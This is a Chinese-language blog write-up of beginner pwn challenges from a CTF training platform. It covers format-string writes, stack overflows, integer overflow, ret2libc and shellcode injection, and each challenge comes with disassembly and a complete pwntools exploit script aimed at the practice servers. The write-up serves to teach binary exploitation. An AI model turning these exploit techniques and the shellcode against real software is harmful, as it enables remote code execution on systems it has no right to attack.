攻防世界pwn之新手练习区

0x00 get_shell

题目描述:运行就能拿到shell呢,真的

from pwn import *
io = remote('111.198.29.45','36389')
io.interactive()

0x01 CGfsb

题目描述:菜鸡面对着pringf发愁,他不知道prinf除了输出还有什么作用
1.基本信息:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.ida查看伪代码,按照题目的提示在主函数找到了printf函数,可以明显的看到ptintf没有按照标准格式 printf("<格式化字符串>", <参量表>) 书写,存在格式化字符串漏洞,pwnme的值等于8的时候可以得到flag

  puts("your message is:");
  printf(&s);  //漏洞点
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }

printf函数可以接受可变数量的参数,并将第一个参数作为格式化字符串,根据其来解析之后的参数,根据 C 语言的调用规则,格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数 (64 位会根据其传参的规则进行获取),具体可参考ctf-wiki上的在printf处下断点调试。

我们发现pwnme在bss段也就是未手动初始化的数据

.bss:0804A068                 public pwnme
.bss:0804A068 pwnme           dd ?                    ; DATA XREF: main+105↑r
.bss:0804A068 _bss            ends
.bss:0804A068

3.思想:利用格式化字符串的漏洞,将pwnme改成8,就可以成功pwn掉程序
我们现在要做的就是需要知道相对偏移量,确定一下参数是 printf 将要输出的第几个参数
在printf处下断点,name输入aaaa,message输入AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x。这里有12个%08x,%x是输出16进制数据,08表示宽度为8,不足8为左边按0补齐,12表示输出12个参数。

leave your message please:
AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x
hello aaa
your message is:

可以看到栈上的数据被输出了,AAAA在第10个位置

pwndbg> STACK 20
00:0000│ esp      0xffffcf60 —▸ 0xffffcf88 ◂— 0x41414141 ('AAAA')
01:0004│          0xffffcf64 —▸ 0xffffcf7e ◂— 'aaa\n'
02:0008│          0xffffcf68 —▸ 0xf7fb75a0 (_IO_2_1_stdin_) ◂— 0xfbad208b
03:000c│          0xffffcf6c ◂— 0xf0b5ff
04:0010│          0xffffcf70 —▸ 0xffffcfae ◂— 0x30252078 ('x %0')
05:0014│          0xffffcf74 ◂— 0x1
06:0018│          0xffffcf78 ◂— 0xc2
07:001c│          0xffffcf7c ◂— 0x616156bb
08:0020│          0xffffcf80 ◂— 0xa61 /* 'a\n' */
09:0024│          0xffffcf84 ◂— 0x0
0a:0028│ eax ebx  0xffffcf88 ◂— 0x41414141 ('AAAA')

%n的知识点:
%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置
4.构造exp

from pwn import *

io = remote('111.198.29.45','41061')
payload = p32(0x0804A068) + 'aaaa' + '%10$n'
io.sendlineafter('name:','aaa')
io.sendlineafter('please:',payload)
io.interactive()

0x02 when_did_you_born

1.基本信息:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.ida分析伪代码,v5不能输入1926,v4输入后v5是1926才能获得flag

if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }

查看v4和v5的地址,相对地址为8

-0000000000000020 v4              db ?
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018 v5              dd ?

3.栈溢出原理,v4输入长度大于8会覆盖v5的值
4.构造exp

from pwn import *

io = remote('111.198.29.45','52378')
io.sendlineafter('Birth?','999')
io.sendlineafter('Name?','a'*8 + p64(0x786))
io.interactive()

0x03 hello_pwn

1.基本信息:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.ida查看伪代码,只要等式成立便可以获得flag,而unk和dword在bss段距离为4

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  alarm(0x3Cu);
  setbuf(stdout, 0LL);
  puts("~~ welcome to ctf ~~     ");
  puts("lets get helloworld for bof");
  read(0, &unk_601068, 0x10uLL);
  if ( dword_60106C == 1853186401 )
    sub_400686(0LL, &unk_601068);
  return 0LL;
}
.bss:0000000000601068 unk_601068      db    ? ;               ; DATA XREF: main+3B↑o
.bss:0000000000601069                 db    ? ;
.bss:000000000060106A                 db    ? ;
.bss:000000000060106B                 db    ? ;
.bss:000000000060106C dword_60106C    dd ?                    ; DATA XREF: main+4A↑r
.bss:000000000060106C _bss            ends
.bss:000000000060106C

3.简单的栈溢出题目,构造exp

from pwn import *

io = remote('111.198.29.45','37812')
io.sendline('a'*4 + p64(0x6e756161))
io.interactive()

0x04 level0

1.基本信息

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.ida查看伪代码,在vulnerable_function()函数发现read存在缓存区溢出
buf大小是80h,再加上ebp的8h,于是padding=136

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  return read(0, &buf, 0x200uLL);
}

然后发现callsystem函数里面有“/bin/sh”

int callsystem()
{
  return system("/bin/sh");
}

3.基础的rop原理,通过覆盖返回地址,直接调用 callsystem("/bin/sh") 的代码,就可以得到系统的 shell 了。payload = padding + ret
4.构造exp

from pwn import *

io = remote('111.198.29.45','30473')
io.sendline('a'*136 + p64(0x000000000040059A))
io.interactive()

0x05 level2

1.基本信息:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.ida查看伪代码,找到了read函数,存在栈溢出

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  system("echo Input:");
  return read(0, &buf, 0x100u);
}

3.找到了system函数,用 ROPgadget --binary level2 --string ’/bin/sh‘ 找到“/bin/sh“字符串,
但是“/bin/sh”没有在system函数里面,于是需要构造伪栈帧通过调用system(“/bin/sh”)获得shell,将buf的返回地址用system函数地址覆盖,system函数的返回地址随意填充
知乎上的这篇文章讲ROP比较全面:https://zhuanlan.zhihu.com/p/25892385

4.构造exp

from pwn import *

io = remote('111.198.29.45','59037')
bin_addr = 0x0804A024
sys_addr = 0x08048320
io.recvuntil('Input:')
io.send('a'*140 + p32(sys_addr) + 'a'*4 + p32(bin_addr))
io.interactive()

0x06 guess_num

1.基本信息:

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

2.ida查看伪代码,程序的意思是连续十次都猜对数字,然后告诉你flag

for ( i = 0; i <= 9; ++i )
  {
    v7 = rand() % 6 + 1;
    printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
    printf("Please input your guess number:");
    __isoc99_scanf("%d", &v5);
    puts("---------------------------------");
    if ( v5 != v7 )
    {
      puts("GG!");
      exit(1);
    }
    puts("Success!");
  }

注意看有gets函数,这里存在栈溢出漏洞,查看地址v8和seed相距0x20
3.解这道题必须搞清楚一个知识:随机数生成的原理
参考链接:https://www.jianshu.com/p/0bc6c65addfd
关于rand和srand
随机函数生成的随机数并不是真的随机数,他们只是在一定范围内随机,实际上是一段数字的循环,这些数字取决于随机种子。在调用rand()函数时,必须先利用srand()设好随机数种子,如果未设随机数种子,rand()在调用时会自动设随机数种子为1。
关于ctype库与dll
我们使用python标准库中自带的ctypes模块进行python和c的混合编程
libc共享库
可以使用ldd查找

总之,解着道题的思路是:我们指定一个随机数的种子,即seed[0],然后在脚本中模拟随机数生成,再将生成的数字输入到程序中,那么就可以一直都能答对,在本题目中我们指定的seed[0]是1。
4.构造exp

from pwn import *
from ctypes import *

io = remote('111.198.29.45','45592')
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
payload = 'a'*32 + p64(1)
io.sendlineafter('name:',payload)
for i in range(10):
	io.sendlineafter('number:',str(libc.rand()%6 + 1))
io.interactive()

0x07 cgpwn2

1.基本信息:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.ida查看伪代码,hello中存在gets函数,存在栈溢出漏洞,又能找到sysytem函数的地址

但是没有找到‘/bin/sh’,可以将‘/bin/sh’写到name里,bin/sh的地址就是name的地址,这里要注意\x00,这是一个转义符,/bin/sh\x00是一个伪造的字符串表
3.惯用的套路,直接用溢出报错,算出s大小加上ebp是42,具体原理参见level2
payload结构是:padding+sys_addr +'a'*4 + bin_addr
4.构造exp

from pwn import *

io = remote('111.198.29.45','34703')
io.sendlineafter('name','/bin/sh\x00')
io.sendlineafter('here:','a'*42 + p32(0x08048420) + 'aaaa' + p32(0x0804A080))
io.interactive()

0x08 string

1.基本信息:

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

2.ida看伪代码,发现这条语句将v1强制转化为函数指针类型,可以将shell写到这里

unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
  void *v1; // rsi
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
  puts("Dragon say: HaHa! you were supposed to have a normal");
  puts("RPG game, but I have changed it! you have no weapon and ");
  puts("skill! you could not defeat me !");
  puts("That's sound terrible! you meet final boss!but you level is ONE!");
  if ( *a1 == a1[1] )
  {
    puts("Wizard: I will help you! USE YOU SPELL");
    v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
    read(0, v1, 0x100uLL);
    ((void (__fastcall *)(_QWORD, void *))v1)(0LL, v1);
  }
  return __readfsqword(0x28u) ^ v3;
}

上面的判断条件是a[0] == a[1]成立时,再逆推

发现是主函数的v4,v4 = (__int64)v3 ,且v3[0]=68,v3[1]=85,而且程序将v4的地址直接给出了
而看到sub_400BB9函数,很明显有一个格式化字符串漏洞

3.这道题原理是绕过前面的一切判断语句,到达v1的位置,写入shell;
v3[0]的地址以及泄露出来了,我们可以利用上面发现的格式化字符串漏洞,将v3[0]改写成85,这样就可以到达v1的位置
4.构造exp

from pwn import *

io = remote('111.198.29.45','41410')
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
log.info("v3_0_addr:" + hex(v3_0_addr))
io.recvuntil("character's name be:")
io.sendline("kk")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")
shellcode = "\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"
io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()

0x09 int_overflow

1.基本信息

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.ida查看伪代码,存在read函数,有栈溢出漏洞,但是需要经过 check_passwd 函数才能将跳出login函数,发现system函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 )
  {
    login();
  }
  else
  {
    if ( v4 == 2 )
    {
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

再查看check_passwd函数,password必须是3到8位,v3范围是0~255,超出会造成整数溢出

char *__cdecl check_passwd(char *s)
{
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else
  {
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

3.进到else里,将 read 读进来的 s 复制到 dest 中,是一个可以利用的栈溢出。dest距ebp是14h,再加上ebp的大小,所以需要24个padding填充;
s长度大于255,s溢出后返回地址覆盖为what_is_this函数的地址,即可得到flag;
4.构造exp

from pwn import *

io = remote('111.198.29.45','32642')
io.sendlineafter('Your choice:','1')
io.sendlineafter('username:','aa')
payload = "a"*24 + p32(0x804868b) 
payload = payload.ljust(259,"A")
io.sendlineafter('passwd:',payload)
io.interactive()

0x10 level3

1.基本信息:

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

2.ida查看伪代码,发现vulnerable_function()函数存在缓存区溢出漏洞,没有找到system和“/bin/sh”

ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

参考地址:https://blog.csdn.net/cossack9989/article/details/79326659
发现开启了所有保护,参照大佬的思路,大致思想为:libc里的地址是随机的,但是函数的相对地址是不变的,于是只需要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出其他函数的地址。

参照这位师傅的步骤,一步步尝试
readelf -a ./libc-2.19.so |grep "read@"
readelf -a ./libc-2.19.so |grep "system@"
readelf -a ./libc-2.19.so |grep "exit@"
strings -a -t x ./libc-2.19.so | grep "/bin/sh"
这四条语句获取函数的相对位置
950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
16084c /bin/sh
3.构造exp

按参数顺序构造输入,write函数返回值设置为vul函数是为了再次调用read函数,来进行第二次攻击,此次就是调用system函数。

exp如下(ps:本地可以执行,攻防世界远程无法执行,可能是服务器的问题)

from pwn import *

io = process('./level3')
elf = ELF('./level3')
libc=ELF('./libc-2.19.so')
write_addr=elf.symbols['write']
vul_addr=elf.symbols['vulnerable_function']
got_addr=elf.got['write']
payload1="a"*140+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr=u32(io.recv(4))

libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh
payload2='A'*140+p32(system_addr)+"aaaa"+p32(sh_addr)
io.sendline(payload2)
io.interactive()

参考链接:
手把手教你栈溢出从入门到放弃(上)https://zhuanlan.zhihu.com/p/25816426
手把手教你栈溢出从入门到放弃(下)https://zhuanlan.zhihu.com/p/25892385
ctf-wiki:https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/

posted @ 2019-07-30 11:46  at0de  阅读(9350)  评论(1编辑  收藏  举报